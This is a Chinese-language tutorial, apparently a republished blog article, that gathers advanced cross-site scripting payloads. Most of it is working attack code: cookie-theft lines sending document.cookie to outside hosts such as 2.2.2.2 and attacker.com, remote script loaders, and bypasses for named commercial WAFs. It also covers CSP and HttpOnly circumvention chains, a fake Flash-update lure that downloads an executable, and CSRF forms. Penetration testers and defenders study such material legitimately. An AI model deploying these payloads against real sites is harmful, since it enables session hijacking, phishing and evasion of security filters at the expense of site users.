珂技系列之一篇就够了——XSS进阶
字数 1584 2025-08-15 21:33:37
XSS进阶技术全面指南
一、XSS基础能力概述
XSS (Cross-Site Scripting) 本质上是HTML+JavaScript的注入攻击,凡是JavaScript和HTML能实现的功能,XSS都能做到。
基本验证方法
<script>alert("你的电脑中病毒了")</script>
<script>prompt(2)</script>
<script>confirm(3)</script>
替代验证方法(当弹窗被禁用时)
<script>console.log(3)</script>
<script>document.write(1)</script>
二、XSS常见攻击手法
1. 网页跳转
<script>window.location.href="https://www.baidu.com"</script>
<meta content="1;http://www.baidu.com/" http-equiv="refresh">
2. 引入外部JS
<script src=//z.cn></script>
3. Cookie窃取
<script>window.location.href="http://2.2.2.2/?msg="+escape(document.cookie)</script>
<script>var img=document.createElement("img");img.src="http://2.2.2.2/?msg="+escape(document.cookie);document.body.appendChild(img);</script>
4. 信息收集
通过访问攻击者服务器可收集IP、User-Agent、Referer等信息
5. Flash钓鱼
<script>alert("您的flash版本过低,请更新您的flash版本"); window.location.href ="https://www.flash.cn/cdm/latest/flashplayer_install_cn.exe"</script>
6. 触发CSRF攻击
GET方式
POST方式
<form action="./index.php" method="POST"><input type="hidden" name="id" value="1" /></form>
<script>document.forms[0].submit();</script>
JSON/POST方式
<script>
function cors() {
var xhr = new XMLHttpRequest();
payload = '{"id":"1"}';
xhr.open("POST","./json.php", true);
xhr.withCredentials = true;
xhr.setRequestHeader("Content-type","application/json; charset=utf-8");
xhr.send(payload);
}
</script>
三、不同上下文中的XSS利用
1. 标签外
name=<script>alert(1)</script>
2. 标签内
name="><script>alert(1)</script>
name=1" id=javascript:alert(1) autofocus onfocus=location=this.id
3. href属性中
name=javascript:alert(1)
4. 利用CRLF
name=%0d%0a%0d%0a<script>alert(1)</script>
5. JavaScript代码中
name=';alert(1);//
name=';alert(1);'
name='-alert(1)-'
name=';};alert(1);function a(){a='
6. XML/SVG上下文
<?xml version="1.0"?>
<a xmlns:a='http://www.w3.org/1999/xhtml'>
<a:body onload='alert(/XSS/)'></a>
<?xml version="1.0"?>
<html:html xmlns:html='http://www.w3.org/1999/xhtml'>
<html:script>alert(1);</html:script>
</html:html>
四、XSS绕过技术
1. 基本弹窗方法
<script>alert(1)</script>
<script>prompt(2)</script>
<script>confirm(3)</script>
<script>console.log(3)</script>
<script>document.write(1)</script>
2. 无括号执行
<script>alert`1`</script>
<video src onerror=a="%2",location="javascript:aler"+"t"+a+"81"+a+"9">
<video src onerror="javascript:window.onerror=alert;throw 1">
3. 引号替换
4. 协议省略
<script src="//www.baidu.com"></script>
5. 闭合绕过
">
- A位置可填充:
/,/123/,%09,%0A,%0C,%0D,%20 - B位置可填充:
%09,%0A,%0C,%0D,%20 - C位置可填充:
%0B,如果加双引号则可填充:/**/,%09,%0A,%0C,%0D,%20 - D位置可填充:
%09,%0A,%0C,%0D,%20,//,>
7. 函数拼接
<video/src/onerror=top.alert(1);>
<video/src/onerror=top[`al`+`ert`](1);>
<video/src/onerror=self[`al`+`ert`](1);>
<video/src/onerror=parent[`al`+`ert`](1);>
<video/src/onerror=window[`al`+`ert`](1);>
<video/src/onerror=frames[`al`+`ert`](1);>
<video/src/onerror=content[`al`+`ert`](1);>
8. 创建匿名函数
<video/src/onerror=Function('ale'+'rt(1)')();>
9. 编码绕过
<script>eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')</script>
<script>eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))</script>
<script>eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')</script>
<script>eval(atob('YWxlcnQoMSk='))</script>
<script>eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))</script>
<iframe src=javascript:alert(1)>
10. 过滤eval绕过
<iframe src=javascript:alert(1)>
<form action=javascript:alert(1)><input type=submit>
<a href=javascript:alert(123);>xss</a>
<iframe src=data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=>
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=></object>
<embed src=data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+>
12. 标签和事件替换
完整事件列表参考:https://www.runoob.com/jsref/dom-obj-event.html
<image src onerror=alert(1);>
<audio src onerror=alert(1);>
<video src onloadstart=alert(1);>
<svg onload=alert(1);>
<body onload=alert(1);>
<style onload=alert(1)>
<iframe onload=alert(1);>
<textarea onfocus=alert(1); autofocus>
<input onfocus=alert(1);>
<details ontoggle=alert(1);>
<div onclick=alert(1)>XSS
<h1 onclick=alert(1)>XSS
<anytag onmouseover=alert(1)>XSS
<a onmouseover=alert(1)>XSS
<button onclick=alert(1)>XSS
<xxxxxxxxx oncopy=alert(1)>XSS
13. 浏览器特定XSS
<marquee onstart=alert(1)> <!-- 仅限火狐/IE -->
五、WAF绕过实例
1. 安全狗绕过
<video/src/onerror=top[`al`%2B`ert`](1);>
<video/src/onerror=appendChild(createElement("script")).src="//z.cn">
2. D盾绕过
<video/src/onloadstart=top[`al`%2B`ert`](1);>
<video/src/onloadstart=top[a='al',b='ev',b%2ba](appendChild(createElement(`script`)).src=`//z.cn`);>
3. 云锁+奇安信WAF绕过
<video/src/onloadstart=top[`al`%2B`ert`](1);>
<video/src/onloadstart=top[a='al',b='ev',b%2ba](appendChild(createElement(`script`)).src=`//z.cn`);>
六、DOM型XSS
1. 任意URL跳转
var hash = location.hash;
if(hash){
var url = hash.substring(1);
location.href = url;
}
利用方式:
http://example.com/1.html#http://www.baidu.com
http://example.com/1.html#javascript:alert(1)
2. document.write漏洞
var hash = location.hash.slice(1);
document.write(hash);
利用方式:
http://example.com/1.html#
3. innerHTML漏洞
<script>
function test(){
var str = document.getElementById("text").value;
document.getElementById("t").innerHTML = "<a href='"+str+"'>testLink</a>";
}
</script>
<div id="t"></div>
<input type="text" id="text" value="" />
<input type="button" id="s" value="url" onclick="test()" />
当用户输入javascript:alert(1)时会产生XSS漏洞
4. 其他危险函数
当有变量带入以下函数时都值得关注:
- eval
- setInterval
- setTimeout
- document.referrer
- window.name
七、富文本编辑器XSS
1. Ueditor
- 白名单过滤,只允许部分标签和属性
- 可通过超链接绕过:
<a href=javascript:alert(123);>xss</a>
- JSP版本存在反射XSS:
/umeditor/jsp/getContent.jsp?myEditor=<script>alert(1)</script>
/umeditor/jsp/imageUp.jsp?callback=</script><script>alert(1)</script>
2. UMeditor
- 类似Ueditor但超链接会强制以http开头
3. Kindeditor
- 采用黑名单正则过滤,容易被绕过
<iframe/src=javascript:alert(58);></iframe>
八、HTTP-Only绕过技术
1. HTTP-Only防护原理
<?php
setcookie("name", "admin", NULL, NULL, NULL, NULL, TRUE);
echo($_GET['echo']);
访问:
http://example.com/test/1.php?echo=<script>alert(document.cookie)</script>
此时JS无法读取设置了HTTP-Only的cookie
2. 利用phpinfo绕过
通过XHR请求phpinfo页面,正则匹配HTTP_COOKIE字段获取cookie
<script>
function createXmlHttp() {
if (window.XMLHttpRequest) {
xmlHttp = new XMLHttpRequest();
} else {
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
}
}
function getS() {
var Url = 'http://example.com/phpinfo.php';
createXmlHttp();
xmlHttp.onreadystatechange = writeS;
xmlHttp.open("GET", Url, true);
xmlHttp.send(null);
}
function writeS() {
if (xmlHttp.readyState == 4) {
var x = xmlHttp.responseText.match(/HTTP_COOKIE.+?<\/td><td.+?>([\w\W]+?)<\/td>/);
alert(x);
}
}
getS();
</script>
九、CSP绕过技术
1. CSP基本格式
Content-Security-Policy: default-src 'self' www.baidu.com; script-src 'unsafe-inline'
default-src: 设定所有资源默认加载规则'self': 仅允许同域none: 禁止所有资源*: 允许所有资源unsafe-inline: 允许当前页面直接执行JS
2. 严格CSP配置示例
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';
3. CSP绕过方法
(1) 利用未受限资源类型
如果配置了单独的img-src、script-src等,但未限制video:
<script>var a=document.createElement("video");a.src="http://attacker.com/?msg="+escape(document.cookie);document.body.appendChild(a);</script>
(2) 跳转绕过
<script>window.location.href="http://attacker.com/?msg="+escape(document.cookie)</script>
(3) 同域iframe嵌套
假设:
- A页面(1.php)正确配置了CSP
- B页面(2.php)错误配置且有XSS漏洞
利用B页面通过iframe操作A页面:
<body>
<script>
var iframe = document.createElement('iframe');
iframe.src="../test/1.php";
document.body.appendChild(iframe);
setTimeout(()=>alert(iframe.contentWindow.document.cookie),2000);
</script>
</body>
完整攻击链:
<body>
<script>
var iframe = document.createElement('iframe');
iframe.src="../test/1.php";
document.body.appendChild(iframe);
var img = document.createElement("img");
setTimeout(()=>img.src="http://attacker.com/?msg="+escape(iframe.contentWindow.document.cookie),2000);
document.body.appendChild(img);
</script>
</body>
十、其他高级技巧
1. 短域名利用
当有长度限制时,使用短域名:
<script src=//z.cn></script>
2. 编码技巧
注意URL中+会变成%2B:
<script>window.location.href="http://2.2.2.2/?msg="+escape(document.cookie)</script>
3. 函数构造技巧
4. 加密函数利用
<video/src/onerror=top[8680439..toString(30)](1);>
<video/src/onerror=top[11189117..toString(32)](1);>
5. 数组方法利用
<video/src/onerror=[1].map(alert);>
<video/src/onerror=[1].map(eval('al'+'ert'));>
<video/src/onerror=[1].find(alert);>
<video/src/onerror=[1].every(alert);>
<video/src/onerror=[1].filter(alert);>
<video/src/onerror=[1].forEach(alert);>
<video/src/onerror=[1].findIndex(alert);>